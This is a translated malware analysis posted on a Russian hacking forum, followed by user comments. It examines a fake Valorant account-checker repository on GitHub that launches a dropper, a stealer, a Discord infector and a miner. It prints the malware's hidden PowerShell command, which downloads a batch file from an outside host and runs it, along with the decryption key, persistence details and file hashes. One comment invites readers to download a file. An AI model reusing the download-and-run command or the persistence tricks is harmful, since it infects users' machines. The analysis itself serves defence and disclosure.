• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Анализ вредоносного репозитория Github

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332

Анализ вредоносного репозитория Github​


Оригинальная статья
Автор перевода tabac
Источник xss.pro

Я наткнулся на внешне вполне доверенный репозиторий Github, в котором был довольно законный проект.
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2FFC07a541FEJq3FSHkkff%2Fimage.png



На момент написания у него 143 звезды и 54 форка, так что выглядит правдоподобно, но если присмотреться к звездам и форкам:
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2Fb2RwOOVNlvwZ8WzPN8nS%2Fimage.png

Все они с фейковых аккаунтов, созданных практически в один день. Присмотревшись к другим репозиториям в этой учетной записи, есть еще один, который также имеет бэкдор:

Смотрим на код репозитория​

Код представляет собой python и имитирует проверку учетной записи для онлайн-игры (Valorant).
Взглянув на код, выскакивает строка:
Код:
os.system("start results/save.lnk")
Это запускает ярлык Windows, который находится в папке «results» внутри репозитория.

Проверив этот ярлык, мы можем увидеть его цель:
Код:
%comspec% /C %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden iwr -Uri https://x0.at/18v6.bat -OutFile $env:TEMP\18v6.bat;Start-Process $env:TEMP\18v6.bat
Это загружает файл .bat с https://x0.at/18v6.bat, сохраняет его во временной папке, а затем запускает.

Анализ малвари​

.bat файл массивный, размером аж 36mb.
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2FEuG1I0emlNVg6ZjFB0cn%2Fimage.png


В верхней части файла большой кусок base64, мы можем предположить, что это, вероятно, будет наш пейлоад, в конце файла мы видим интересный код:
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2F3Jt4j5zCKdYtqi8NbSfF%2Fimage.png


После удаления некоторых повторяющихся слов мы можем сделать что-то вроде этого:

spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2FWUpZcwLx6iMHgu7ciG9R%2Fimage.png


Кажется, что большой блок base64 зашифрован с использованием AES и сжат, проверив этот код, мы можем отменить процесс, поскольку у нас есть KEY и IV для расшифровки данных. Поэтому я написал небольшой скрипт powershell, чтобы расшифровать его, распаковать, а затем сохранить на диск:
Код:
$XseZ='ReadLines';
$yJyL='Load';
$uZpI='GetCurrentProcess';
$dzbX='EntryPoint';
$tPqE='MainModule';
$waZb='FromBase64String';
$XmvD='TransformFinalBlock';
$ENIy='Split';
$gMuk='ElementAt';
$LLuy='CreateDecryptor';
$QCYT='ChangeExtension';

function oaFag($rKNRV){
    $Fneio=[System.Security.Cryptography.Aes]::Create();
    $Fneio.Mode=[System.Security.Cryptography.CipherMode]::CBC;
    $Fneio.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
    $Fneio.Key=[System.Convert]::$waZb('DoI1GdINO/odI9JOThyl7401RvkgTfoAX8MQMw24HoM=');
    $Fneio.IV=[System.Convert]::$waZb('LTCc2yyupcYae/wYTpkiyw==');
    $mQSLR=$Fneio.CreateDecryptor();
    $ooztA=$mQSLR.$XmvD($rKNRV,0,$rKNRV.Length);
    $mQSLR.Dispose();
    $Fneio.Dispose();
    $ooztA;
}

function tryNE($rKNRV){
    $fRenP=New-Object System.IO.MemoryStream(,$rKNRV);
    $zUkbv=New-Object System.IO.MemoryStream;
    $gjVsO=New-Object System.IO.Compression.GZipStream($fRenP,[IO.Compression.CompressionMode]::Decompress);
    $gjVsO.CopyTo($zUkbv);$gjVsO.Dispose();
    $fRenP.Dispose();
    $zUkbv.Dispose();
    $zUkbv.ToArray();
}

$c = Get-Content -Path "C:\Users\windows10\Downloads\code.txt"

$wlBSz=$c.$ENIy(':');
$gRTVe=tryNE(oaFag ([Convert]::$waZb($wlBSz[0])));
$iRgKa=tryNE(oaFag ([Convert]::$waZb($wlBSz[1])));

[io.file]::WriteAllBytes('C:\Users\windows10\Downloads\f1.bin',$gRTVe);
[io.file]::WriteAllBytes('C:\Users\windows10\Downloads\f2.bin',$iRgKa);
Это дает нам два двоичных файла, один размером около 27 МБ, а другой около 28 КБ, оба они на .NET.

Я начну с просмотра большего файла (27 МБ), и с самого начала мы видим, что он сильно обфусцирован:
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2FmDR21uyCeKKkk2uhyS8q%2Fimage.png


Малваря деобфускирует строки следующим образом:
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2FKtbeZUYTbeqPuXOaCQJx%2Fimage.png


При этом мы можем создать собственный вспомогательный метод для деобфускации строк вне кода:
Код:
static string Get(string A_0, int A_1, int A_2, int A_3, int A_4, int A_5)
{
    int num = 78787870;
    if ((-1743288475 ^ 461882411) == -2087697586)
    {
        int num2 = num + sizeof(ulong);
    }
    StringBuilder stringBuilder = new StringBuilder();
    foreach (char c in A_0.ToCharArray())
    {
        stringBuilder.Append((char)((int)c - A_2));
    }
    return stringBuilder.ToString();
}

static void Main(string[] args)
{
    Console.WriteLine(Get("", 421592687, -785059054, 1005452607, 940660616, -1106098698));
    Console.ReadLine();
}

После нескольких часов деобфускации кода я сделал его немного чище и попытался сопоставить имена с поведением:
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2F35YcVaCdXlmq31XkNuLx%2Fimage.png

Эта вредоносная программа больше действует как дроппер, но она добавит исключения в Windows Defender.

Малваря поместит 2 файла в папку Application Data, один с именем OnwbaDTzzU.cmd, а другой с именем OnwbaDTzzU.vbs.

Если вредоносная программа запускается от имени администратора, она создает задачу планировщика с именем OneDrive OnwbaDTzzU, в противном случае она создает раздел реестра с именем OneDrive OnwbaDTzzU в папке Software\Microsoft\Windows\CurrentVersion\Run, указывающий на файл OnwbaDTzzU.vbs.

spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2FbY8z6SyyY9ycH7dCajUh%2Fimage.png

Это добавляет стойкости и загружает больше дополнительной малвари, которую мы также рассмотрим ниже.

Рассматриваем дополнительную дропнутую malware

Прежде чем я смогу взглянуть на ресурсы, я создаю небольшой вспомогательный метод для распаковки ресурсов:
Код:
 private static byte[] DecompressGzip(byte[] byteArr)
{
    MemoryStream memoryStream = new MemoryStream(byteArr);
    MemoryStream memoryStream2 = new MemoryStream();
    Stream stream = memoryStream;

    GZipStream gzipStream = new GZipStream(stream, CompressionMode.Decompress);
    gzipStream.CopyTo(memoryStream2);
    gzipStream.Dispose();
    memoryStream2.Dispose();
    memoryStream.Dispose();
    return memoryStream2.ToArray();
}
Взглянув на ресурс с именем P, мы видим, что это сборка .NET и содержит интересный код, на этот раз не обфусцированный.
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2FvSVx9mZ1rrWGbucrXv3R%2Fimage.png


Код значительно меньше, поэтому нам проще в нем разобраться, смотрим на Assembly.Load().

Метод Fat определяет поток памяти, который затем распаковывается и возвращается в Assembly.Load().
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2F9GKeOHdmMIsfVBG6IxSX%2Fimage.png


spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2Fm1on5rbsxjXSHXaT76QJ%2Fimage.png


Поскольку мы не можем видеть полное содержимое memorystream на dnspy, я немного изменяю код, чтобы сохранить его на диск, а не загружать сборку.
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2FC73BjjmCGvfmgU5taeUY%2Fimage.png

Это дает нам очень обфусцированную .NET DLL.
spaces%2FXMoR5ATEDKnpxojagUOc%2Fuploads%2FTWU0OvlGVrQQjRrFYEI9%2Fimage.png


Я извлек еще одну DLL, которая была спрятана таким же образом, но не анализировал ее.

Еще немного информации о других бинарниках:
  • WorldOfMythia.exe, кажется, заражает инсталляторы Discord, но я не исследовал его.
Я просмотрел и другие бинарники, но не подробно, поэтому не буду включать их сюда.

Заключение​

Это очень разрушительная малваря, включает в себя стилер, инфектор Discord и даже крипто-майнер.

У меня не было времени анализировать каждый бинарник, так как их много, но я загрузил их все на вирустотал и оставил соответствующие хэши ниже.

Хотя я не стал вдаваться в детали анализа, я надеюсь, что кто-то проанализирует бинарные файлы, которые не стал анализировать я.

Индикаторы​


HashAssembly
585ac7894d8146341ae408121c31ea0f95936e3719683c862a0ec2db2caccb0aWorldOfMythia.exe
34f06a471d1329d2543c5b4df7e2346582279e7789bab518ee9ffc18a6eadf4dUAC.bin
35093cf30e63d1eb7bc8b7cfb39dea2a7f0beb7778a1939b66f0e55910f3da01Xmihuj.exe
f5f25e5e5bc5b827257f0d7f78e2e2f1f6c3cab71dad38d69598055d706e9feeQjctluhw.dll
661bca19ee42e61b481a5499cad2f5858940b7cef33dae924cec013dc939da7bAeodr.dll
1ad4dc2d3c32c156d98e049133dfdc096a6667932613dce21d8f4f659fee5fd418v6.bat
54512dd064c21154462ada0523c7ca88f23ade0313f17b4c7136554fad669fd9Uqqjl.exe
c978dfd73d3c988caa02b70a29eed369709c147066270c2a29c72acc83670b16WxpLuq.tmp
b581309a29cee0fd4a681982688b998178dd5a81bb97d99deb5a2bace6d1dbc5Lewfoa.tmp
 
Да хули там удивляться если в 2021 им писал что у них файлы спуфяться на раз, самоё интересно если вы с хрома зайдете который автоматом переводит анг на русский язык то спалите сразу, сейчас проверил ради интереса тыц можете скачать только не архивам сам файл от сюда тыц (не очкуйте своих не трояним)
149706209.gif


 
Интересно было почитать. Сейчас, конечно можно ожидать такого, но будучи новичком или неопытным пользователем я бы не заподозрил подставы 😂
 
Познавательно, для меня, как для человека в кодинге слабого, гитхаб был неким островком безопасного софта, все ж типо глянуть можно. Как выяснилось к "глянуть" и понимать не помешает
 
Я один раз так чет с просонья решил полазить по гитхабу. Нашел какой то репозиторий с эксплойтом на пдф, ну-ка думаю гляну что там. Распакоываю вижу обычный проект в визуалке кликаю ничего не открывает, второй раз кликаю нихуя. Потом вижу а там scr файл который переделан через арабский юникод и получается так SilentPDFExploitProjectscr.sln и иконка визуал студио стоит а весь в шоке ашарашенный вырубаю к хуям интернет от компьютера бегом включаю процесс хакер и начинаю смотреть что на пк происходит. Конечно на тот момент я испугался знатно в шоковом состояние был и не знал что делать. Потом я все почистил все пароли поменял, доступ к форумным аккаунтам был через дедик я и на дедике поменял пароль все сменил. Хорошо хоть так что ничего ценного на пк не было, но адреналина я поймал нехило. Теперь все файлы через дедик принимаю и открываю потому-что нахуй оно надо)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх